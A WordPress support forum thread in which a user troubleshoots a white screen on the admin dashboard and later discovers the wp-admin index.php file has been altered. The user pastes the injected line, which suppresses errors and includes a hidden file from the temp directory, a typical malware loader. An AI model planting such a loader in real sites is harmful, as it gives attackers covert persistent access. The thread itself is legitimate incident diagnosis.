WSOD On Dashboard Index Page

  • My dashboard index is White Screen of Deathing when I try to access the Dashboard index page. I can log in, and I can access site maintenance functions, however wp-admin/index.php is just a white screen no matter which method I use to reach it. I tried recopying wp-admin and wp-includes, which restored function for a while, but now I just get the white screen again.

    I have tried disabling all plugins, reverting to the default theme, and setting the memory size to 64M. None helped the issue. I have debugging turned on, but am receiving no error messages on screen.

  • Hi @fusionaddict,

    Have you recently upgraded WordPress? If yes, then something may not have updated itself correctly. A similar issue like yours was reported previously on this forum and was resolved by a Manual Update.

    Please make sure you backup everything including database before doing this.

    Hope that helps.

    Yes, but the issue began before the update and I have already tried manually re-updating.

    Hi @fusionaddict,

    Have you tried looking into error logs ? You can get error logs from the web hosting service provider.

    May be somewhere in there we may find something?

    There’s nothing being generated in the error logs. Something had edited the dasboard index file. This is what I found when I opened it:

    <?php error_reporting(0);ini_set(“display_errors”, 0);include_once(sys_get_temp_dir().”/SESS_48cd7517d21176f980daa5502d9efb31″); ?><?php
    require( ABSPATH . ‘wp-admin/admin-footer.php’ );

    That’s the contents of index.php, in their entirety.

    Hi @fusionaddict

    That’s interesting. Shouldn’t it looks something like:

    https://github.com/WordPress/WordPress/blob/master/wp-admin/index.php

    What happens if you just replace this one file with the content from the github file in the link above?

    Also, out of curiosity, since when did this problem arise? Was it after you updated or installed a plugin ?
